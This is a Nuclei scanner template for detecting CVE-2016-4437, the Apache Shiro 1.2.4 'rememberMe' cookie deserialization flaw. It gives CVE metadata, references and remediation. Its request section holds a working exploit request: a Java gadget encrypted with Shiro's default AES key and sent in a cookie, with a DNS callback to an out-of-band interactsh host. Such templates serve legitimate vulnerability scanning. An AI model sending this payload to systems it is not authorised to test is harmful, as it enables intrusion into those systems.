46 lines
2.0 KiB
YAML
46 lines
2.0 KiB
YAML
id: CVE-2016-4437
|
|
|
|
info:
|
|
name: Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: high
|
|
description: |
|
|
Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.
|
|
impact: |
|
|
Remote code execution
|
|
remediation: |
|
|
Upgrade to a patched version of Apache Shiro
|
|
reference:
|
|
- https://github.com/Medicean/VulApps/tree/master/s/shiro/1
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
|
|
- http://packetstormsecurity.com/files/137310/Apache-Shiro-1.2.4-Information-Disclosure.html
|
|
- http://packetstormsecurity.com/files/157497/Apache-Shiro-1.2.4-Remote-Code-Execution.html
|
|
- http://rhn.redhat.com/errata/RHSA-2016-2035.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2016-4437
|
|
cwe-id: CWE-284
|
|
epss-score: 0.97507
|
|
epss-percentile: 0.99979
|
|
cpe: cpe:2.3:a:apache:shiro:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: shiro
|
|
tags: cve,apache,rce,kev,packetstorm,cve2016,shiro,deserialization,oast
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: rememberMe={{base64(concat(base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="),aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("kPH+bIxk5D2deZiIxcaaaA=="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="))))}}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- dns
|
|
# digest: 4a0a00473045022100d6e9353a94ac258937539ed8ff40241674ca73fa8e78941808d2afb343bbb3ce0220533a4998d8ddd00b6627f06783d8a74f2ad7757a0b0b77ac31e1f5dc50898143:922c64590222798bb761d5b6d8e72950 |